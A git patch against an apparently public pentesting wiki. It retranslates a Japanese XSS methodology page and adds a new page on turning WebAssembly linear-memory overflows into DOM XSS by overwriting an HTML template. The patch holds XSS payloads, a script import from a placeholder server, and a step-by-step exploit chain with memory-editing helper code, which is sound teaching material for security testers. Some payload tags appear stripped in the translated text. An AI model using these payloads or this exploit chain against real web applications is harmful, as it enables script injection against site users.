From df5a2e7d239bc120f3d7ac177836ca862f4e8196 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 15:04:15 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem --- src/SUMMARY.md | 1 + .../xss-cross-site-scripting/README.md | 438 +++++++++--------- ...sm-linear-memory-template-overwrite-xss.md | 133 ++++++ 3 files changed, 358 insertions(+), 214 deletions(-) create mode 100644 src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 9364e3ad2..8b38372cc 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,83 +2,83 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodology +## 手順 -1. あなたが**制御できる任意の値**(_parameters_, _path_, _headers_?, _cookies_?)がHTMLに**反映**されているか、または**JSコードで使用**されているかを確認する。 -2. 反映/使用されている**コンテキストを特定**する。 -3. **reflected**の場合 -1. **どの記号が使えるか**を確認し、それに応じてペイロードを準備する: -1. **raw HTML**の場合: -1. 新しいHTMLタグを作成できるか? -2. `javascript:`プロトコルをサポートするイベントや属性を使えるか? -3. 保護策をバイパスできるか? -4. HTMLコンテンツがクライアントサイドのJSエンジン(_AngularJS_, _VueJS_, _Mavo_...)で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md)を悪用できる可能性がある。 -5. JSを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)を悪用できないか? -2. **HTMLタグ内**の場合: -1. raw HTMLコンテキストに脱出できるか? -2. JSを実行するための新しいイベント/属性を作成できるか? -3. 捕らわれている属性はJS実行をサポートしているか? -4. 保護策をバイパスできるか? -3. **JavaScriptコード内**の場合: -1. ``**タグ内、`.js`ファイル内、または**`javascript:`**プロトコルを使った属性内に反映されます: +この場合、あなたの入力はHTMLページの**``**タグの間、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます: -- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **ブラウザはまずHTMLタグを解析し**、その後コンテンツを処理するため、挿入した `` タグがHTMLコード内にあることに気づかないためです。 +- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. - If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** は **valid javascript code** を書くために有効です: +- **Unicode encode** works to write **valid javascript code**: ```javascript alert(1) alert(1) @@ -86,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting は、**関数や変数、クラスを使用した後に宣言できる機会を指し、XSS が未宣言の変数や関数を使っているケースを悪用できます。**\ -**詳細は次のページを参照してください:** +Javascript Hoisting は、**使用後に関数、変数、クラスを宣言できる機会を指し、XSS が未宣言の変数や関数を使用しているようなシナリオを悪用できます。**\ +**以下のページを参照してください:** {{#ref}} @@ -96,15 +96,15 @@ js-hoisting.md ### Javascript Function -多くのウェブページには、**実行する関数名をパラメータとして受け取る** endpoint が存在します。一般的な例は `?callback=callbackFunc` のようなものです。 +いくつかのウェブページには、実行する関数名をパラメータとして**受け取る**エンドポイントがあります。実際によく見かける例は `?callback=callbackFunc` のようなものです。 -ユーザーから直接渡された値が実行されようとしているかを確かめる良い方法は、**パラメータの値を変更する**(例えば 'Vulnerable' に)ことと、コンソールに次のようなエラーが出るか確認することです: +ユーザが直接渡した値が実行されようとしているかを確認する良い方法は、パラメータ値を**変更する**(例えば 'Vulnerable' に)ことと、コンソールで次のようなエラーを確認することです: ![](<../../images/image (711).png>) -脆弱な場合は、値に **`?callback=alert(1)`** を送るだけで **alert をトリガーできる** ことがあります。しかし、この種の endpoint は一般的に内容を検証して、英数字、ドット、アンダースコアのみを許可する(**`[\w\._]`**)ことが多いです。 +脆弱な場合、値を送るだけで**alert を発生させる**ことができます:**`?callback=alert(1)`**。しかし、多くのエンドポイントは文字、数字、ドット、アンダースコアのみを許可するように**コンテンツを検証する**のが非常に一般的です(**`[\w\._]`**)。 -しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字だけを使って DOM 内の任意の要素に**アクセスできる**ためです: +しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字を使ってDOM内の任意の要素に**アクセスできる**ためです: ![](<../../images/image (747).png>) @@ -116,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -また、**Javascript functions** を直接**呼び出す**ことも試せます: `obj.sales.delOrders`. +You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. -しかし通常、示された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**other pages in the same origin** の方が、より多くの操作を行える**more interesting DOM**を持っていることがよくあります。 +しかし、通常、指定された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**同一オリジン内の他のページ**はより多くの操作を行うのに**より興味深いDOM**を持っているでしょう。 -したがって、別のDOMでこの脆弱性を**abuse**するために、Same Origin Method Execution (SOME) のエクスプロイト手法が開発されました: +したがって、この脆弱性を**別のDOMで悪用する**ために、Same Origin Method Execution (SOME) のエクスプロイトが開発されました: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -**JS code** が **安全でない方法で** 攻撃者に制御されたデータ(例: `location.href`)を使用していることがあります。攻撃者はこれを悪用して任意の JS コードを実行できます。 +**JS code** が **攻撃者が制御するデータ**(例: `location.href`)を**安全でない方法で**使用していることがあります。攻撃者はこれを悪用して任意のJSコードを実行できます。 {{#ref}} @@ -138,8 +138,8 @@ dom-xss.md ### **Universal XSS** -この種のXSSは**anywhere**で見つかることがあります。これらは単にWebアプリケーションのクライアント側での悪用だけに依存するものではなく、**any** **context** に依存します。この種の **arbitrary JavaScript execution** は、**RCE** を得たり、クライアントやサーバー上の任意の **files** を **read** したりするために悪用されることさえあります。\ -いくつかの **examples**: +この種の XSS は**どこにでも**見つかり得ます。これらは単にウェブアプリケーションのクライアント側の悪用に依存するものではなく、**あらゆる** **コンテキスト**に依存します。これらの**任意の JavaScript 実行**は**RCE** の取得や、クライアントおよびサーバの**任意の** **ファイル**の**読み取り**などにも悪用され得ます。\ +いくつかの**例**: {{#ref}} @@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md ## Injecting inside raw HTML -入力が**inside the HTML page** に反映される場合、またはこのコンテキストでエスケープを抜けてHTMLコードを注入できる場合、最初に行うべきことは `<` を悪用して新しいタグを作れるかどうかを確認することです。まずその**char** が反映されるか、**HTML encoded** されているか、削除されているか、あるいは**reflected without changes** かをチェックしてください。**最後の場合にのみこのケースを悪用できます**。\ -これらの場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) も**keep in mind**してください。\ -_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ +入力が**HTMLページ内に反映される**場合、またはこのコンテキストでエスケープを回避してHTMLコードを注入できる場合、最初に行うべきことは新しいタグを作成するために`<`を悪用できるかどうかを確認することです。単純にその**文字**が**反映される**かを試し、それが**HTML encoded**されているか、**削除**されているか、あるいは**変更なしで反映**されているかを確認してください。**最後の場合にのみこのケースを悪用できます。**\ +このようなケースでは [**Client Side Template Injection**](../client-side-template-injection-csti.md) も念頭に置いてください。\ +_**注: HTML コメントは `-->` または `--!>` を使って閉じることができます**_ -In this case and if no black/whitelisting is used, you could use payloads like: +この場合、ブラック/ホワイトリスティングが使用されていなければ、次のようなペイロードを使用できます: ```html ` タグ内、あるいはJSを実行するHTMLイベントや `javascript:` プロトコルを受け取る属性の間に反映されます。 +この場合、あなたの**input**は`.js`ファイルのJSコード内、または``タグの内部、JSを実行できるHTMLイベントの間、あるいは`javascript:`プロトコルを許容する属性の間に**反映**されます。 -### Escaping \` の内部に挿入される場合、`` を閉じることで簡単にエスケープできます: +もしあなたのコードが``の中に挿入される場合、簡単に``を閉じることを**エスケープ**できます: ```javascript ``` -Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward. +注:この例では**シングルクォートすら閉じていない**ことに注意してください。これは**HTMLのパースがブラウザによって最初に行われる**ためで、ページ要素(scriptブロックを含む)の識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースは、その後で行われます。 -### JS コード内 +### JSコード内 -もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所の文字列を**エスケープする**ことで、**任意のJSを実行する**ことができます。エラーがあるとJSコードは実行されないため、**JS構文を修正する**ことが重要です: +`<>` がサニタイズされている場合でも、入力が**配置されている**文字列を**エスケープして**任意のJSを**実行する**ことが可能です。重要なのは**JSの構文を修正する**ことです。エラーがあると、JSコードは実行されません: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -#### JS-in-JS string break → inject → repair pattern +#### JS-in-JS string break → inject → repair パターン -ユーザ入力が quoted JavaScript string の中に入るとき(例: server-side echo into an inline script)、string を終了させて inject code し、syntax を修復して parsing を有効に保つことができます。汎用スケルトン: +ユーザー入力が quoted JavaScript string の中に入る場合(例:server-side echo による inline script への挿入)、文字列を終了させてコードを inject し、構文を repair してパースが有効になるように維持できます。一般的なスケルトン: ``` " // end original string ; // safely terminate the statement @@ -509,14 +508,14 @@ Note that in this example we **haven't even closed the single quote**. This is b ``` ?param=test";;a=" ``` -これはHTMLコンテキストに触れることなく攻撃者のJSを実行します(純粋なJS-in-JS)。フィルタがキーワードをブロックする場合は、下のblacklist bypassesと組み合わせてください。 +これは攻撃者のJSをHTMLコンテキストに触れることなく実行します(pure JS-in-JS)。フィルタがキーワードをブロックする場合は下記のブラックリスト回避と組み合わせてください。 -### Template literals `` +### テンプレートリテラル \`\` -単一引用符や二重引用符とは別に文字列を構築するため、JSは**backticks** **` `` `** も受け入れます。これはtemplate literalsとして知られており、`${ ... }`構文を使って**embedded JS expressions**を埋め込めます。\ -したがって、入力がbackticksを使ったJS文字列内に**reflected**されている場合、`${ ... }`構文を悪用して**arbitrary JS code**を実行できます: +単一引用符や二重引用符とは別に**文字列**を構築するためにJSは**バッククオート(backticks)** **` `` `** も受け付けます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使って**JS式を埋め込む**ことができます。\ +したがって、入力がバッククオートで囲まれたJS文字列として**反映**されている場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます: -これは次のように**abused**できます: +これを**悪用**するには: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -535,14 +534,14 @@ loop`` {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Access Hidden Content +### Regex - 隠されたコンテンツにアクセス -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、JS 上でいくつかの値が消えても、別のオブジェクトの JS 属性内でそれらを見つけられることがわかります。たとえば、REGEX の input は、その値が削除された後でも見つけることができます: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、いくつかの値が JS から消えても、別のオブジェクトの JS 属性内でそれらを見つけられることが分かります。例えば、REGEX の input は、REGEX の input の値が削除された後でも見つけられることがあります: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1589,50 +1598,50 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS in Markdown -レンダリングされるMarkdownコードを注入できますか? もしかするとXSSを引き起こせるかもしれません! 確認: +Markdown コードを注入してレンダリングさせられますか?もしかすると XSS を引き起こせるかもしれません!確認してください: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS to SSRF +### XSS を SSRF に -**キャッシュを使用しているサイト**でXSSを見つけましたか? Edge Side Include Injectionを使って、以下のpayloadで**それをSSRFにアップグレード**してみてください: +キャッシュを使用する**サイトで XSS を得ましたか**?Edge Side Include Injection を使ってそれを **SSRF にアップグレード**してみてください。payload は次のとおり: ```python ``` -これを使って cookie 制限、XSS フィルタなどを回避できます!\ -More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +cookieの制限、XSSフィルタなどを回避するために使用できます!\ +この技術の詳細はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### 動的に作成された PDF における XSS +### XSS in dynamic created PDF -もしウェブページがユーザ制御の入力を使って PDF を生成している場合、PDF を作成している **trick the bot** を **executing arbitrary JS code** させるよう試みることができます。\ -つまり、もし **PDF creator bot finds** が何らかの **HTML** **tags** を見つけると、それらを **interpret** し、その振る舞いを **abuse** して **Server XSS** を引き起こすことができます。 +Webページがユーザ制御の入力でPDFを生成している場合、PDFを生成している**botを騙して**任意の**JSコードを実行させる**ことを試みることができます。\ +つまり、**PDF creator botが何らかの**HTML**タグを検出すると、それらを**解釈**し、この挙動を**悪用**して**Server XSS**を引き起こすことができます。 {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -もし HTML tags を注入できない場合は、**inject PDF data** を試す価値があるかもしれません: +HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試してみる価値があります: {{#ref}} pdf-injection.md {{#endref}} -### Amp4Email における XSS +### XSS in Amp4Email -AMP はモバイルデバイスでのウェブページの表示速度を向上させることを目的としており、機能性を JavaScript で補強した HTML タグを取り入れ、速度とセキュリティを重視しています。さまざまな機能のためのコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。 +AMPは、モバイル端末でのウェブページ表示の高速化を目的としており、速度とセキュリティを重視した形でJavaScriptで補助されたHTMLタグを取り入れています。さまざまな機能を提供するコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites)で確認できます。 -The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)形式は特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### XSS — ファイルアップロード (svg) +### XSS uploading files (svg) -Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +次のようなファイルを画像としてアップロードしてください(出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1688,9 +1697,10 @@ id="foo"/> ```xml ``` -次のリンクで**より多くの SVG payloads を見つけてください** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +以下で**より多くのSVGペイロードを見つけてください**: [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) + +## その他のJSトリックと関連情報 -## その他の JS トリックと関連情報 {{#ref}} other-js-tricks.md diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md new file mode 100644 index 000000000..02b77da88 --- /dev/null +++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md @@ -0,0 +1,133 @@ +# WebAssembly linear memory corruption to DOM XSS (template overwrite) + +{{#include ../../banners/hacktricks-training.md}} + +このテクニックは、Emscripten でコンパイルされた WebAssembly (WASM) モジュール内部のメモリ破損バグを、入力がサニタイズされている場合でも信頼性のある DOM XSS に悪用する方法を示す。ピボットはサニタイズされたソース文字列を攻撃するのではなく、WASM linear memory 内の書き込み可能な定数(例:HTML フォーマットテンプレート)を破損させることにある。 + +主要なアイデア:WebAssembly モデルでは、コードは書き込み不可の実行ページに置かれるが、モジュールのデータ(heap/stack/globals/"constants")はモジュールによって書き込み可能な単一のフラットな linear memory(64KB ページ)に存在する。もしバグのある C/C++ コードが範囲外に書き込めば、隣接するオブジェクトや linear memory に埋め込まれた定数文字列さえ上書きできる。こうした定数が後で DOM sink を通じて挿入するための HTML を構築する際に使われると、サニタイズされた入力を実行可能な JavaScript に変えることができる。 + +# 脅威モデルと前提条件 +- Web アプリが Emscripten glue (Module.cwrap) を使って WASM モジュールを呼び出している。 +- アプリケーション状態が WASM linear memory に存在する(例:ユーザバッファへのポインタ/長さを持つ C struct)。 +- 入力の sanitizer が格納前にメタ文字をエンコードするが、後でレンダリング時に WASM linear memory に格納されたフォーマット文字列を使って HTML を構築する。 +- linear-memory corruption のプリミティブが存在する(例:heap overflow、UAF、または unchecked memcpy)。 + +# 最小の脆弱データモデル(例) +```c +typedef struct msg { +char *msg_data; // pointer to message bytes +size_t msg_data_len; // length after sanitization +int msg_time; // timestamp +int msg_status; // flags +} msg; + +typedef struct stuff { +msg *mess; // dynamic array of msg +size_t size; // used +size_t capacity; // allocated +} stuff; // global chat state in linear memory +``` +脆弱なロジックパターン +- addMsg(): サニタイズ済みの入力サイズで新しいバッファを割り当て、s.mess に msg を追加する。必要に応じて realloc で容量を2倍にする。 +- editMsg(): 再度サニタイズを行い、新しいバイト列を既存バッファに memcpy するが、新しい長さが古い割り当て以下であることを保証しない → linear memory 内のヒープオーバーフロー。 +- populateMsgHTML(): サニタイズ済みテキストを linear memory 上にある "

%.*s

" のようなテンプレートで整形する。返された HTML は DOM sink(例: innerHTML)に渡される。 + +realloc() を使ったアロケータのグルーミング +```c +int add_msg_to_stuff(stuff *s, msg new_msg) { +if (s->size >= s->capacity) { +s->capacity *= 2; +s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg)); +if (s->mess == NULL) exit(1); +} +s->mess[s->size++] = new_msg; +return s->size - 1; +} +``` +- 初期容量を超えるまで十分な数のメッセージを送る。容量が拡張された後、realloc() はしばしば s->mess を linear memory の最後のユーザバッファの直後に配置する。 +- editMsg() を使って最後のメッセージをオーバーフローさせ、s->mess 内のフィールドを破壊する(例: overwrite msg_data pointers) → 後でレンダリングされるデータに対する linear memory 内の任意のポインタ書き換え。 + +Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source +- Sanitization は入力を保護するものであって sinks を保護するものではない。populateMsgHTML() で使われる format stub を見つける、例: +- "

%.*s

" → change to "" +- linear memory を走査して stub を決定論的に特定する; それは Module.HEAPU8 内のプレーンなバイト列である。 +- stub を上書きした後、sanitized message content は onerror の JavaScript ハンドラとなるため、alert(1337) のようなテキストを持つ新しいメッセージを追加すると となり DOM 内で即座に実行される。 + +Chrome DevTools workflow (Emscripten glue) +- JS glue 内の最初の Module.cwrap 呼び出しでブレークし、wasm の呼び出し元にステップインしてポインタ引数(linear memory への数値オフセット)をキャプチャする。 +- Module.HEAPU8 のような typed views を使ってコンソールから WASM メモリを読み書きする。 +- Helper snippets: +```javascript +function writeBytes(ptr, byteArray){ +if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers"); +for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`); +HEAPU8[ptr+i]=byte; +} +} +function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); } +function readBytesAsChars(ptr,len){ +const bytes=HEAPU8.subarray(ptr,ptr+len); +return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join(''); +} +function searchWasmMemory(str){ +const mem=Module.HEAPU8, pat=new TextEncoder().encode(str); +for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int +``` +End-to-end exploitation recipe +1) Groom: N 個の小さなメッセージを追加して realloc() をトリガーします。s->mess が user buffer に隣接するようにします。 +2) Overflow: 最後のメッセージに対して editMsg() を呼び、長いペイロードで s->mess 内のエントリを上書きして、message 0 の msg_data を (stub_addr + 1) を指すように設定します。+1 は次の編集時にタグのアラインメントを保つために先頭の '<' をスキップします。 +3) Template rewrite: message 0 を編集して、そのバイトがテンプレートを次のように上書きするようにします: "img src=1 onerror=%.*s ". +4) Trigger XSS: sanitized な内容が JavaScript になるような新しいメッセージを追加します(例: alert(1337))。レンダリングは を出力して実行されます。 + +Example action list to serialize and place in ?s= (Base64-encode with btoa before use) +```json +[ +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"add","content":"hi","time":1756840476392}, +{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080}, +{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080}, +{"action":"add","content":"alert(1337)","time":1756840476392} +] +``` +Why this bypass works +- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy. +- The sanitizer only protects the source string; by corrupting the sink (the HTML template), sanitized input becomes the JS handler value and executes when inserted into the DOM. +- realloc()-driven adjacency plus unchecked memcpy in edit flows enables pointer corruption to redirect writes to attacker-chosen addresses within linear memory. + +Generalization and other attack surface +- Any in-memory HTML template, JSON skeleton, or URL pattern embedded in linear memory can be targeted to change how sanitized data is interpreted downstream. +- Other common WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches. + +Defensive guidance +- In edit paths, verify new length ≤ capacity; resize buffers before copy (realloc to new_len) or use size-bounded APIs (snprintf/strlcpy) and track capacity. +- Keep immutable templates out-of writable linear memory or integrity-check them before use. +- Treat JS↔WASM boundaries as untrusted: validate pointer ranges/lengths, fuzz exported interfaces, and cap memory growth. +- Sanitize at the sink: avoid building HTML in WASM; prefer safe DOM APIs over innerHTML-style templating. +- Avoid trusting URL-embedded state for privileged flows. + +## References +- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/) +- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline) +- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff) +- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t) +- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/) + +{{#include ../../banners/hacktricks-training.md}}